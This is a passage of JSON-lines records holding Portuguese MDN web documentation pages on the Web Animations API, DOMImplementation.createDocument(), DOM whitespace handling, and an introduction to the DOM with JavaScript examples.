multiplicar o playbackRate:\n\n\n```js\nvar goFaster = function () {\n  redQueen_alice.updatePlaybackRate(redQueen_alice.playbackRate \\* 1.1);\n};\n\ndocument.addEventListener(\"click\", goFaster);\ndocument.addEventListener(\"touchstart\", goFaster);\n```\n\n\nOs elementos do fundo também tem `playbackRate`s que também são afetados pelo clique ou toque na tela. O que acontece quando você faz Alice e a Rainha Vermelha correrem com o dobro da velocidade? O que acontece quando você as deixa desacelerar?\n\nExtraindo informação das animações\n----------------------------------\n\nImagine outras maneiras de utilizar o playbackRate, como melhorar a acessibilidade para usuários com disfunções vestibulares permitindo que eles desacelerem as animações do site todo. Isso é impossível de fazer via CSS sem recalcular todas as regras, mas com a Web Animations API, podemos utilizar o método `document.getAnimations()` (en-US) para iterar todas animações de uma página e dividir pela metade seu `playbackRate`, como por exemplo:\n\n\n```js\ndocument.getAnimations().forEach(function (animation) {\n  animation.updatePlaybackRate(animation.playbackRate \\* 0.5);\n});\n```\n\n\nCom a Web Animations API, você só precisa mudar uma simples propriedade!\n\nOutra coisa que é difícil de fazer somente com Animações CSS é criar dependências de valores fornecidos por outras animações. Por exemplo, no logo Aumentando e Encolhendo Alice, você pode ter notado algo estranho sobre a duração do bolinho:\n\n\n```js\nduration: aliceChange.effect.getComputedTiming().duration / 2;\n```\n\n\nPara entender o que está acontecendo, vamos dar uma olhada na animação da Alice:\n\n\n```js\nvar aliceChange = document\n  .getElementById(\"alice\")\n  .animate(\n    [\n      { transform: \"translate(-50%, -50%) scale(.5)\" },\n      { transform: \"translate(-50%, -50%) scale(2)\" },\n    ],\n    {\n      duration: 8000,\n      easing: \"ease-in-out\",\n      fill: \"both\",\n    },\n  );\n```\n\n\nA animação da Alice a fazia ir de metade de seu tamanho para o dobro em 8 segundos. Então nós a pausamos:\n\n\n```js\naliceChange.pause();\n```\n\n\nSe pausassemos no início da animação, ela começaria com metade de seu tamanho original, como se já tivesse bebido a garrafa toda! Então nós precisamos definir o estado inicial da animação no meio. Podemos fazer isso definindo o `Animation.currentTime` para 4 segundos, como no exemplo abaixo:\n\n\n```js\naliceChange.currentTime = 4000;\n```\n\n\nMas enquanto trabalhamos nessa animação, vamos mudar bastante a duração da Alice. Não seria melhor definir essa `currentTime` dinamicamente? Assim não precisariamos fazer duas atualizações de uma vez só. Podemos fazer isso referenciando a propriedade `Animation.effect` (en-US), que retorna um objeto que contém todos os detalhes sobre o(s) efeito(s) ativos na Alice:\n\n\n```js\naliceChange.currentTime = aliceChange.effect.getComputedTiming().duration / 2;\n```\n\n\nO `effect` nos permite acessar os keyframes e propriedades temporais da animação — `aliceChange.effect.getComputedTiming()` aponta para o objeto timing da Alice (cujo tipo é `ComputedEffectTiming`) — que contem o `ComputedEffectTiming.duration` dela. Podemos dividir sua duração pela metade para definir a metade da animação para a linha do tempo da animação da Alice, assim ela começaria com o tamanho normal. Então nós podemos reverter e tocar a animação dela em qualquer direção para encolher ou aumentar seu tamanho!\n\nE nós podemos fazer a mesma coisa quando definimos as durações da garrafa e do bolinho:\n\n\n```js\nvar drinking = document\n  .getElementById(\"liquid\")\n  .animate([{ height: \"100%\" }, { height: \"0\" }], {\n    fill: \"forwards\",\n    duration: aliceChange.effect.getComputedTiming().duration / 2,\n  });\ndrinking.pause();\n```\n\n\nAgora todas as três animações estão ligadas por apenas um `duration`, que pode ser modificado facilmente em um só lugar do código.\n\nNós também podemos utilizar a Web Animations API para descobrir o quanto da linha do tempo já foi percorrido. O jogo acaba quando o seu bolinho acaba ou você esvazia a garrafa. A vinheta que é apresentada aos jogadores depende do quão longe a Alice estava em sua animação, seja ficando grande demais pra caber na portinha ou pequena demais pra não conseguir mais alcançar a chave para abrir a porta. Podemos descobrir se ela está nesses extremos pegando o `currentTime` da sua animação e dividir pelo `activeDuration`:\n\n\n```js\nvar endGame = function() {\n\n  // get Alice's timeline's playhead location\n  var alicePlayhead = aliceChange.currentTime;\n  var aliceTimeline = aliceChange.effect.getComputedTiming().activeDuration;\n\n  // stops Alice's and other animations\n  stopPlayingAlice();\n\n  // depending on which third it falls into\n  var aliceHeight = alicePlayhead / aliceTimeline;\n\n  if (aliceHeight <= .333){\n    // Alice got smaller!\n    ...\n\n  } else if (aliceHeight >= .666) {\n    // Alice got bigger!\n    ...\n\n  } else {\n    // Alice didn't change significantly\n    ...\n\n  }\n}\n```\n\n\n**Nota:** `getAnimations()` e `effect` não estão disponíveis em todos os browsers no momento em que este artigo foi escrito, mas o polyfill possibilita utilizá-los agora.\n\nCallbacks e promises\n--------------------\n\nAnimações e Transições CSS tem seus event listeners próprios, que também são possíveis com a Web Animations API:\n\n* `onfinish` (en-US) é o manipulador de eventos para o evento `finish` e pode ser disparado manualmente com `finish()` (en-US).\n* `oncancel` (en-US) é o manipulador de eventos para o evento `cancel` e pode ser disparado manualmente com `cancel()`.\n\nAqui nós definimos os callbacks para o bolinho, a garrafa e para Alice para disparar a função `endGame`:\n\n\n```js\n// When the cake or bottle runs out...\nnommingCake.onfinish = endGame;\ndrinking.onfinish = endGame;\n\n// ...or Alice reaches the end of her animation\naliceChange.onfinish = endGame;\n```\n\n\nAinda melhor, a Web Animations API também fornece uma promise `finished` (en-US) que será resolvida quando a animação é completada, e rejeitada se for cancelada.\n\nConclusão\n---------\n\nEssas são as funcionalidades básicas da Web Animations API, a maioria delas já estão sendo suportadas pelas últimas versões do Chrome, Firefox e Safari. Agora você está pronto pra \"cair na toca do coelho\" de animar utilizando o browser e pronto pra escrever e experimentar com sua própria animação! Se você está utilizando a API e deseja compartilha, tente usar a hashtag #WAAPI. Nós estaremos de olho e vamos escrever mais tutoriais para cobrir funcionalidades futuras assim que o suporte aumentar!\n\nVeja também\n-----------\n\n* A coleção completa de demos de Alice no País das Maravilhas no CodePen para você brincar, compartilhar e editar\n* Animating like you just don't care with Element.animate (em inglês) — Um ótimo artigo para se ler que explica mais sobre a Web Animations API por baixo dos panos, e por que ela tem uma performance melhor do que os outros métodos de animação web\n* web-animations-js — O polyfill da Web Animations API"}
{"title":"DOMImplementation.createDocument() - APIs da Web","text":"DOMImplementation.createDocument()\n==================================\n\nO método **`DOMImplementation.createDocument()`** cria e retorna um `XMLDocument`.\n\nSintaxe\n-------\n```\n\ndoc = document.implementation.createDocument(namespaceURI, qualifiedNameStr, documentType);\n```\n\n### Parâmetros\n\n*namespaceURI*\n\nÉ um `DOMString` contendo a URI do namespace do documento que será criado, ou `null` se o documento não pertencer a nenhum.\n\n*qualifiedNameStr*\n\nIs a `DOMString` containing the qualified name, that is an optional prefix and colon plus the local root element name, of the document to be created.\n\n*documentType* Optional\n\nIs the `DocumentType` (en-US) of the document to be created. It defaults to `null`.\n\nExample\n-------\n\n\n```js\nvar doc = document.implementation.createDocument(\n  \"https://www.w3.org/1999/xhtml\",\n  \"html\",\n  null,\n);\nvar body = document.createElementNS(\"https://www.w3.org/1999/xhtml\", \"body\");\nbody.setAttribute(\"id\", \"abc\");\ndoc.documentElement.appendChild(body);\nalert(doc.getElementById(\"abc\")); // [object HTMLBodyElement]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-domimplementation-createdocument② |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* The `DOMImplementation` (en-US) interface it belongs to."}
{"title":"Whitespace no DOM - APIs da Web","text":"Whitespace no DOM\n=================\n\nO problema\n----------\n\nA presença de espaço branco no DOM (en-US) pode dificultar a manipulação da árvore de conteúdo de formas imprevisíveis. No Mozilla, todo o espaço branco no conteúdo de texto do documento original é representado no DOM (isso não inclui whitespace (en-US) entre tags). (Isso é necessário internamente para que o editor possa preservar a formatação de documentos e também que `white-space: pre` irá funcionar em CSS). Isso significa que:\n\n* haverão alguns nós de texto que contêm somente whitespace (en-US), e\n* alguns nós de texto terão whitespace (en-US) no início ou no final.\n\nEm outras palavras, a árvore do DOM para o documento seguinte irá parecer como a imagem abaixo (usando \"\\n\" para representar novas linhas):\n\n\n```html\n<!-- Meu documento -->\n<html>\n  <head>\n    <title>Meu documento</title>\n  </head>\n  <body>\n    <h1>Cabeçalho</h1>\n    <p>Parágrafo</p>\n  </body>\n</html>\n```\n\n\n![](/pt-BR/docs/Web/API/Document_Object_Model/Whitespace/whitespace_tree.png)\n\nIsto pode fazer as coisas um pouco difíceis para qualquer usuário do DOM que quer iterar através do conteúdo, excluindo o whitespace (en-US).\n\nFacilitando as coisas\n---------------------\n\nÉ possível formatar o código como mostrado abaixo para contornar o problema:\n\n\n```html\n<!-- Impressão bonita convencional\n com espaços brancos (whitespaces) entre as tags:\n -->\n<div>\n  <ul>\n    <li>Posição 1</li>\n    <li>Posição 2</li>\n    <li>Posição 3</li>\n  </ul>\n</div>\n\n<!-- Impressão bonita ajustada ao problema:\n -->\n<div>\n  <ul>\n    <li>Posição 1</li>\n    <li>Posição 2</li>\n    <li>Posição 3</li>\n  </ul>\n</div>\n```\n\n\nO código Javascript abaixo define funções diversas que fazem a manipulação de whitespace (en-US) no DOM mais fácil.\n\n\n```js\n/\\*\\*\n \\* Em todo, o whitespace é definido como um dos caracteres\n \\* \"\\t\" TAB \\u0009\n \\* \"\\n\" LF \\u000A\n \\* \"\\r\" CR \\u000D\n \\* \" \" SPC \\u0020\n \\*\n \\* Isto não usa o \"\\s\" do Javascript porque inclui espaços\n \\* que não quebram (e alguns outros caracteres).\n \\*/\n\n/\\*\\*\n \\* Determina se um conteúdo de texto do nó é inteiramente whitespace.\n \\*\n \\* @param nod Um nó implementando a interface |CharacterData| (por exemplo:\n \\* |Text|, |Comment|, ou nó |CDATASection|\n \\* @return Verdadeiro se todo conteúdo de texto de |nod| é whitespace,\n \\* de outra forma é falso.\n \\*/\nfunction is\\_all\\_ws(nod) {\n  // Usa as características do ECMA-262 Edition 3 String e RegExp\n  return !/[^\\t\\n\\r ]/.test(nod.textContent);\n}\n\n/\\*\\*\n \\* Determina se um nó deve ser ignorado pela função de iterador.\n \\*\n \\* @param nod Um objeto implementando a interface DOM1 |Node|.\n \\* @return verdadeiro se o nó é:\n \\* 1) Um nó |Text| que é todo whitespace\n \\* 2) Um nó |Comment|\n \\* do contrário é falso.\n \\*/\n\nfunction is\\_ignorable(nod) {\n  return (\n    nod.nodeType == 8 || // Um nó de comentário\n    (nod.nodeType == 3 && is\\_all\\_ws(nod))\n  ); // um nó de texto, todo whitespace\n}\n\n/\\*\\*\n \\* Versão de |previousSibling| que pula nós que são inteiramente\n \\* whitespace ou comentários. (Normalmente |previousSibling| é uma propriedade\n \\* de todos os nós do DOM que dá o nó irmão, o nó que é\n \\* um filho do mesmo parente, que ocorre imediatamente antes do\n \\* nó de referência.)\n \\*\n \\* @param sib O nó de referência.\n \\* @return Ou:\n \\* 1) O irmão mais próximo do |sib| que não é\n \\* ignorável de acordo com |is\\_ignorable|, ou\n \\* 2) nulo se tal nó não existe.\n \\*/\nfunction node\\_before(sib) {\n  while ((sib = sib.previousSibling)) {\n    if (!is\\_ignorable(sib)) return sib;\n  }\n  return null;\n}\n\n/\\*\\*\n \\* Versão de |nextSibling| que pula nós que são inteiramente\n \\* whitespace ou comentários.\n \\*\n \\* @param sib O nó de referência.\n \\* @return Ou:\n \\* 1) O irmão mais próximo do |sib| que não é\n \\* ignorável de acordo com |is\\_ignorable|, ou\n \\* 2) nulo se tal nó não existe.\n \\*/\nfunction node\\_after(sib) {\n  while ((sib = sib.nextSibling)) {\n    if (!is\\_ignorable(sib)) return sib;\n  }\n  return null;\n}\n\n/\\*\\*\n \\* Versão de |lastChild| que pula nós que são inteiramente\n \\* whitespace ou comentários. (Normalmente |lastChild| é uma propriedade\n \\* de todos os nós do DOM que dá o último dos nós contidos\n \\* diretamente no nó de referência.)\n \\*\n \\* @param sib O nó de referência.\n \\* @return Ou:\n \\* 1) O último filho do |sib| que não é\n \\* ignorável de acordo com |is\\_ignorable|, ou\n \\* 2) nulo se tal nó não existe.\n \\*/\nfunction last\\_child(par) {\n  var res = par.lastChild;\n  while (res) {\n    if (!is\\_ignorable(res)) return res;\n    res = res.previousSibling;\n  }\n  return null;\n}\n\n/\\*\\*\n \\* Versão de |firstChild| que pula nós que são inteiramente\n \\* whitespace ou comentários.\n \\*\n \\* @param sib O nó de referência.\n \\* @return Ou:\n \\* 1) O primeiro nó do |sib| que não é\n \\* ignorável de acordo com |is\\_ignorable|, ou\n \\* 2) nulo se tal nó não existe.\n \\*/\nfunction first\\_child(par) {\n  var res = par.firstChild;\n  while (res) {\n    if (!is\\_ignorable(res)) return res;\n    res = res.nextSibling;\n  }\n  return null;\n}\n\n/\\*\\*\n \\* Versão de |data| que não inclui whitespace no início\n \\* e final e normaliza todos whitespaces para um espaço individual. (Normalmente\n \\* |data| é uma propriedade de nós de texto que dá o texto do nó.)\n \\*\n \\* @param txt O nó de texto do qual data deve ser retornado\n \\* @return Uma string dando os conteúdos de um nó de texto com\n \\* whitespace colapsado.\n \\*/\nfunction data\\_of(txt) {\n  var data = txt.textContent;\n  // Usa características do ECMA-262 Edition 3 String e RegExp\n  data = data.replace(/[\\t\\n\\r ]+/g, \" \");\n  if (data.charAt(0) == \" \") data = data.substring(1, data.length);\n  if (data.charAt(data.length - 1) == \" \")\n    data = data.substring(0, data.length - 1);\n  return data;\n}\n```\n\nExemplo\n-------\n\nO código seguinte demonstra o uso das funções acima. Ele itera através dos filhos de um elemento (dos quais filhos são todos os elementos) para encontrar aquele cujo o texto seja `\"Este é o terceiro parágrafo\"`, e então muda o atributo da classe e os conteúdos daquele parágrafo.\n\n\n```js\nvar cur = first\\_child(document.getElementById(\"teste\"));\nwhile (cur) {\n  if (data\\_of(cur.firstChild) == \"Este é o terceiro parágrafo.\") {\n    cur.className = \"mágica\";\n    cur.firstChild.textContent = \"Este é o parágrafo mágico\";\n  }\n  cur = node\\_after(cur);\n}\n```"}
{"title":"Introdução ao DOM - APIs da Web","text":"Introdução ao DOM\n=================\n\nO DOM (Document Object Model) é a representação de dados dos objetos que compõem a estrutura e o conteúdo de um documento na Web. Neste guia, apresentaremos brevemente o DOM. Veremos como o DOM representa um documento HTML ou XML na memória e como você usa APIs para criar aplicativos e conteúdo da Web.\n\nO que é o DOM?\n--------------\n\nO Document Object Model (**DOM**) é uma interface de programação para os documentos HTML e XML. Representa a página de forma que os programas possam alterar a estrutura do documento, alterar o estilo e conteúdo. O DOM representa o documento com nós e objetos, dessa forma, as linguagens de programação podem se conectar à página.\n\nUma página da Web é um documento. Este documento pode ser exibido na janela do navegador ou como a fonte HTML. Mas é o mesmo documento nos dois casos. O DOM (Document Object Model) representa o mesmo documento para que possa ser manipulado. O DOM é uma representação orientada a objetos da página da web, que pode ser modificada com uma linguagem de script como JavaScript.\n\nOs padrões W3C DOM e WHATWG DOM são implementados na maioria dos navegadores modernos. Muitos navegadores estendem o padrão; portanto, é necessário ter cuidado ao usá-los na Web, onde os documentos podem ser acessados por vários navegadores com diferentes DOMs.\n\nPor exemplo, o DOM padrão especifica que o método `getElementsByTagName` no código abaixo deve retornar uma lista de todos os elementos `<p>` no documento:\n\n\n```js\nvar paragraphs = document.getElementsByTagName(\"p\");\n// paragraphs[0] is the first <p> element\n// paragraphs[1] is the second <p> element, etc.\nalert(paragraphs[0].nodeName);\n```\n\n\nTodas as propriedades, métodos e eventos disponíveis para manipular e criar páginas da Web são organizados em objetos (por exemplo, o objeto de `document` que representa o próprio documento, o objeto de `table` que implementa a Interface especial DOM `HTMLTableElement` (en-US) para acessar tabelas HTML e assim por diante). Esta documentação fornece uma referência objeto a objeto ao DOM.\n\nO DOM moderno é construído usando várias APIs que trabalham juntas. O DOM principal define os objetos que descrevem fundamentalmente um documento e os objetos dentro dele. Isso é expandido conforme necessário por outras APIs que adicionam novos recursos e capacidades ao DOM. Por exemplo, a HTML DOM API (en-US) adiciona suporte para representar documentos HTML no DOM principal.\n\nDOM e JavaScript\n----------------\n\nO pequeno exemplo acima, como quase todos os exemplos nesta referência, é JavaScript. Ou seja, está escrito em JavaScript, mas usa o DOM para acessar o documento e seus elementos. O DOM não é uma linguagem de programação, mas sem ela, a linguagem JavaScript não teria nenhum modelo ou noção de páginas da web, documentos HTML, documentos XML e suas partes componentes (por exemplo, elementos). Cada elemento de um documento - o documento como um todo, o cabeçalho, as tabelas do documento, os cabeçalhos da tabela, o texto nas células da tabela - faz parte do modelo de objeto do documento desse documento, para que todos possam ser acessados e manipulados usando o método DOM e uma linguagem de script como JavaScript.\n\nNo início, o JavaScript e o DOM estavam fortemente interligados, mas, eventualmente, evoluíram para entidades separadas. O conteúdo da página é armazenado no DOM e pode ser acessado e manipulado via JavaScript, para que possamos escrever esta equação aproximada:\n\nAPI (página HTML ou XML) = DOM + JS (linguagem de script)\n\nO DOM foi projetado para ser independente de qualquer linguagem de programação específica, disponibilizando a representação estrutural do documento a partir de uma única API consistente. Embora nos concentremos exclusivamente no JavaScript nesta documentação de referência, as implementações do DOM podem ser construídas para qualquer idioma, como este exemplo em Python demonstra:\n\n\n```python\n# exemplo de DOM com Python\nimport xml.dom.minidom as m\ndoc = m.parse(r\"C:\\Projects\\Py\\chap1.xml\")\ndoc.nodeName # propriedade do objeto de documento DOM\np_list = doc.getElementsByTagName(\"para\")\n```\n\n\nPara obter mais informações sobre quais tecnologias estão envolvidas na criação de JavaScript na Web, consulte JavaScript technologies overview.\n\nAcessando o DOM\n---------------\n\nVocê não precisa fazer nada de especial para começar a usar o DOM. Navegadores diferentes têm implementações diferentes do DOM, e essas implementações exibem graus variados de conformidade com o padrão DOM real (um assunto que tentamos evitar nesta documentação), mas todo navegador usa um modelo de objeto de documento para tornar as páginas da web acessíveis via JavaScript.\n\nQuando você cria um script - seja embutido em um elemento(tag) `<script>` ou incluído na página da web por meio de uma instrução de carregamento de script - você pode começar imediatamente a usar a API para o `document` ou { {domxref (\"Window\", \"window\")}} elementos para manipular o próprio documento ou obter os filhos desse documento, que são os vários elementos na página da web. Sua programação DOM pode ser algo tão simples quanto o exemplo seguinte, que exibe uma mensagem de alerta usando a função `alert()` da função  `window`  ou pode usar métodos DOM mais sofisticados para criar realmente novo conteúdo, como no extenso exemplo abaixo.\n\nO JavaScript a seguir exibirá um alerta quando o documento for carregado (e quando todo o DOM estiver disponível para uso):\n\n\n```html\n<body onload=\"window.alert('Welcome to my home page!');\"></body>\n```\n\n\nOutro exemplo. Esta função cria um novo elemento H1, adiciona texto a esse elemento e, em seguida, adiciona o `H1` à árvore deste documento:\n\n\n```html\n<html>\n  <head>\n    <script>\n // run this function when the document is loaded\n window.onload = function () {\n // create a couple of elements in an otherwise empty HTML page\n var heading = document.createElement(\"h1\");\n var heading\\_text = document.createTextNode(\"Big Head!\");\n heading.appendChild(heading\\_text);\n document.body.appendChild(heading);\n };\n </script>\n  </head>\n  <body></body>\n</html>\n```\n\nTipos de dados fundamentais\n---------------------------\n\nEsta referência tenta descrever os vários objetos e tipos em termos simples. Mas há vários tipos de dados diferentes sendo transmitidos pela API que você deve conhecer.\n\n**Nota:** Como a grande maioria do código que usa o DOM gira em torno da manipulação de documentos HTML, é comum sempre se referir aos nós no DOM como **elementos**, pois em um documento HTML, cada nó é um elemento. Apesar de não ser estritamente precisa, a documentação que você encontrará no MDN frequentemente fará a mesma coisa, por causa de quão comum é essa suposição.\n\nA tabela a seguir descreve brevemente esses tipos de dados.\n\n| Tipos de dados (Interface) | Descrição |\n| --- | --- |\n| `Document` | \n Quando um membro retorna um objeto do tipo `document` (por\n exemplo, a propriedade **`ownerDocument`** de um\n elemento retorna o `document` ao qual ele pertence),esse\n objeto é o próprio objeto de `document` raiz. O capítulo\n DOM `document` Reference\n descreve o objeto do `document` .\n  |\n| `Node` | \n Todo objeto localizado em um documento é um nó de algum tipo. Em um\n documento HTML, um objeto pode ser um nó de elemento, mas também um nó\n de texto ou atributo.\n  |\n| `Element` | \n O tipo do `element` é baseado em `node`. Isso se\n refere a um elemento ou um nó do tipo `element` retornado\n por um membro do DOM API. Ao invés de dizer, por exemplo, que o método\n `document.createElement()` retorna um objeto\n de referência para um nó, nós apenas dizemos que esse método retorna o\n `element` que acabou de ser criado no DOM. Os objetos do\n `element` implementam a interface DOM\n `Element` e também a mais básica interface\n `Node`, sendo ambas incluídas juntas nessa referência. Em\n um documento HTML, elementos são ainda mais aprimorados pelas APIs\n HTML DOM. A interface `HTMLElement` (en-US) bem como\n outras interfaces descrevem capacidades de tipos especifícos de\n elementos (por exemplo, `HTMLTableElement` (en-US) para\n elementos `<table>`).\n  |\n| `NodeList` | \n Uma `nodeList` é um array de elementos comos os que são\n retornados pelo método\n `document.getElementsByTagName()` (en-US). Itens numa\n `nodeList` são acessados por índices em uma das duas formas:\n * list.item(1)\n* list[1]\n\nEsses dois são equivalentes. No primeiro,\n **`item()`** é o método único no objeto da\n `nodeList`. O último usa uma sintaxe típica de array para\n buscar o segundo item na lista.\n  |\n| `Attribute` | \n Quando um `attribute` é retornado por um membro (por exemplo,\n pelo método **`createAttribute()`**), é um objeto de referência que expõe uma interface especial (embora\n pequena) para atributos. Atributos são nós no DOM bem como elementos,\n mesmo que raramente você possa usá-los como tal.\n  |\n| `NamedNodeMap` (en-US) | \n Um `namedNodeMap` é como um array, mas os itens são\n acessados por nome ou índice, embora este último caso seja meramente\n uma conveniência para enumeração, já que eles não estão em uma ordem\n específica na lista. O `namedNodeMap` possui um método\n `item()` para esse propósito, e você também pode adicionar\n e remover itens de um `namedNodeMap`.\n  |\n\nTenha em mente algumas considerações de terminologia comuns que existem. É comum referir-se a qualquer nó `Attribute` simplesmente como um **`attribute`**, por exemplo, e referir-se a um array de nós DOM como um **`nodeList`**. Você encontrará esses termos e outros a serem introduzidos e usados em toda a documentação.\n\nDOM interfaces\n--------------\n\nEsse guia é sobre os objetos e o que você pode usar ao manipular a hierarquia do DOM. Há muitos aspectos que tornam entender como eles funcionam confuso. Por exemplo, o objeto representando o elemento HTML `form` pega a propriedade **`name`** da interface do `HTMLFormElement` mas a sua propriedade **`className`** vem da interface `HTMLElement`. Em ambos os casos, a propriedade que você quer está naquele objeto do formulário.\n\nMas o relacionamento entre objetos e interfaces que são implementadas no DOM pode ser confuso, então essa seção busca mostrar um pouco sobre as interfaces na especificação do DOM e como elas são disponibilizadas.\n\n### Interfaces e Objetos\n\nMuitos objetos pegam emprestados de várias interfaces diferentes. O objeto table por exemplo implementa uma interface especializada `HTMLTableElement` (en-US), que inclui métodos como `createCaption` e `insertRow`. Mas como é também um elemento HTML, `table` implementa a interface `Element` descrita no capítulo DOM `Element` Reference. E finalmente, já que um elemento HTML é também, no que diz respeito ao DOM, um nó na árvore de nós que fazem o modelo de objeto para uma página HTML ou XML, o objeto table também implementa a interface `Node` mais básica, de onde deriva `Element`.\n\nQuando você pegar a referência para um objeto `table`, como no exemplo a seguir, você rotineiramente usa todas as três interfaces de forma intercambiável no objeto, talvez sem saber.\n\n\n```js\nvar tabela = document.getElementById(\"table\");\nvar atributosTabela = tabela.attributes; // interface Node/Element\nfor (var i = 0; i < atributosTabela.length; i++) {\n  // interface HTMLTableElement: atributo border\n  if (atributosTabela[i].nodeName.toLowerCase() == \"border\")\n    tabela.border = \"1\";\n}\n// interface HTMLTableElement: atributo summary\ntable.summary = \"nota: aumento de borda\";\n```\n\n### Interfaces Core no DOM\n\nEssa seção lista algumas das interfaces mais utilizadas no DOM. A ideia não é descrever o que essas APIs fazem aqui mas para te dar uma ideia de que tipos de métodos e propriedades você verá bastante conforme for usando o DOM. Essas APIs são usadas nos exemplos mais extensos no capítulo de DOM Examples ao fim desse livro.\n\nObjetos `Document` e `window` são os objetos cujas interfaces você geralmente utiliza mais frequentemente em programação DOM. De forma simples, o objeto `window` representa algo como o browser, e o objeto `document` é a raiz de todo o documento em si. `Element` herda dessa interface `Node` genérica, e juntamente com essas duas interfaces fornecem muitos dos métodos e propriedades que você utiliza em elementos individuais. Esses elementos podem também ter interfaces específicas para lidar com o tipo de dado que esses elementos contêm, como no exemplo do objeto `table` na seção anterior.\n\nA seguir uma lista breve de APIs comuns em scripting de páginas web e XML usando o DOM.\n\n* `document.getElementById(id)`\n* `document.getElementsByTagName (en-US)(name)`\n* `document.createElement(name)`\n* `parentNode.appendChild(node)`\n* `element.innerHTML`\n* `element.style (en-US).left`\n* `element.setAttribute()`\n* `element.getAttribute()`\n* `element.addEventListener()`\n* `window.content (en-US)`\n* `window.onload (en-US)`\n* `console.log()`\n* `window.scrollTo()`\nTestando a DOM API\n------------------\n\nEsse documento fornece amostras para cada interface que você pode usar ao desenvolver. Em alguns casos, as amostras são páginas completas em HTML, com o acesso ao DOM em um elemento `<script>`, a interface (ex. botões) necessária para ativar o script num formulário, e os elementos HTML pelo qual o DOM opera listados também. Quando esse é o caso, você pode copiar e colar o exemplo em um novo documento HTML, salvar e rodar o exemplo pelo browser.\n\nHá alguns casos, porém, que os exemplos são mais concisos. Para rodar exemplos que apenas demonstram o relacionamento básico da interface para os elementos HTML, você pode criar uma página teste em que as interfaces podem ser fácilmente acessadas por scripts. A simples página web a seguir fornece um elemento `<script>` no header em que você pode colocar funções para testar a interface, alguns elementos HTML com atributos que você consegue buscar, definir ou manipular, e a interface web do usuário necessária para chamar essas funções pelo broswer.\n\nVocê pode usar essa página teste ou criar uma similar para testar as interfaces DOM que quiser e ver como elas funcionam numa plataforma broswer. Você pode alterar os conteúdos da função `test()` como achar necessário, criar mais botões ou adicionar elementos se necessário.\n\n\n```html\n<html>\n  <head>\n    <title>Testes DOM</title>\n    <script type=\"application/javascript\">\n function setBodyAttr(attr, value) {\n if (document.body) eval(\"document.body.\" + attr + '=\"' + value + '\"');\n else notSupported();\n }\n </script>\n  </head>\n  <body>\n    <div style=\"margin: .5in; height: 400;\">\n      <p>\n        <b><tt>text</tt></b>\n      </p>\n      <form>\n        <select\n onChange=\"setBodyAttr('text',\n this.options[this.selectedIndex].value);\">\n          <option value=\"black\">preto</option>\n          <option value=\"darkblue\">azul escuro</option>\n        </select>\n        <p>\n          <b><tt>bgColor</tt></b>\n        </p>\n        <select\n onChange=\"setBodyAttr('bgColor',\n this.options[this.selectedIndex].value);\">\n          <option value=\"white\">branco</option>\n          <option value=\"lightgrey\">cinza</option>\n        </select>\n        <p>\n          <b><tt>link</tt></b>\n        </p>\n        <select\n onChange=\"setBodyAttr('link',\n this.options[this.selectedIndex].value);\">\n          <option value=\"blue\">azul</option>\n          <option value=\"green\">verde</option>\n        </select>\n        <small>\n          <a href=\"http://algum.website.tld/pagina.html\" id=\"amostra\">\n            (link)</a\n ></small\n ><br />\n      </form>\n      <form>\n        <input type=\"button\" value=\"version\" onclick=\"ver()\" />\n      </form>\n    </div>\n  </body>\n</html>\n```\n\n\nPara testar várias interfaces numa única página - por exemplo, um conjunto de propriedades que afete as cores de uma página web - você pode criar uma página de teste similar com um console inteiro de botões, textfields e outros elementos HTML. A screenshot a seguir te dá uma ideia de como interfaces podem ser agrupadas para testes.\n\nFigura 0.1 Página de Teste DOM\n\n![Image:DOM_Ref_Introduction_to_the_DOM.gif](/pt-BR/docs/Web/API/Document_Object_Model/Introduction/dom_ref_introduction_to_the_dom.gif)\n\nNesse exemplo, os menus drop-down atualizam dinamicamente os aspectos acessáveis pelo DOM na página web como o fundo (`bgColor`), a cor dos hiperlinks (`aLink`), e a cor do texto (`text`). Porém, ao desenhar suas páginas de teste, testar as interfaces conforme for lendo sobre elas é uma parte importante para aprender a usar o DOM de forma efetiva.\n\nSubnav\n------\n\n* DOM Reference\n* Introduction to the DOM\n* Events and the DOM (en-US)\n* Examples"}
{"title":"Examples of web and XML development using the DOM - APIs da Web","text":"Examples of web and XML development using the DOM\n=================================================\n\nEste capítulo fornece exemplos mais longos de desenvolvimento de Web e XML usando o DOM. Sempre que possível, os exemplos usam APIs, truques e padrões comuns no JavaScript para manipular o objeto de documento.\n\nExemplo 1: altura e largura\n---------------------------\n\nO exemplo a seguir mostra o uso das propriedades de altura e largura ao lado de imagens de dimensões variáveis:\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title>width/height example</title>\n    <script>\n function init() {\n var arrImages = new Array(3);\n\n arrImages[0] = document.getElementById(\"image1\");\n arrImages[1] = document.getElementById(\"image2\");\n arrImages[2] = document.getElementById(\"image3\");\n\n var objOutput = document.getElementById(\"output\");\n var strHtml = \"<ul>\";\n\n for (var i = 0; i < arrImages.length; i++) {\n strHtml +=\n \"<li>image\" +\n (i + 1) +\n \": height=\" +\n arrImages[i].height +\n \", width=\" +\n arrImages[i].width +\n \", style.height=\" +\n arrImages[i].style.height +\n \", style.width=\" +\n arrImages[i].style.width +\n \"<\\/li>\";\n }\n\n strHtml += \"<\\/ul>\";\n\n objOutput.innerHTML = strHtml;\n }\n </script>\n  </head>\n  <body onload=\"init();\">\n    <p>\n      Image 1: no height, width, or style\n      <img id=\"image1\" src=\"http://www.mozilla.org/images/mozilla-banner.gif\" />\n    </p>\n\n    <p>\n      Image 2: height=\"50\", width=\"500\", but no style\n      <img\n id=\"image2\"\n src=\"http://www.mozilla.org/images/mozilla-banner.gif\"\n height=\"50\"\n width=\"500\" />\n    </p>\n\n    <p>\n      Image 3: no height, width, but style=\"height: 50px; width: 500px;\"\n      <img\n id=\"image3\"\n src=\"http://www.mozilla.org/images/mozilla-banner.gif\"\n style=\"height: 50px; width: 500px;\" />\n    </p>\n\n    <div id=\"output\"></div>\n  </body>\n</html>\n```\n\nExemplo 2: Atributos de Imagem\n------------------------------\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title>Modifying an image border</title>\n\n    <script>\n function setBorderWidth(width) {\n document.getElementById(\"img1\").style.borderWidth = width + \"px\";\n }\n </script>\n  </head>\n\n  <body>\n    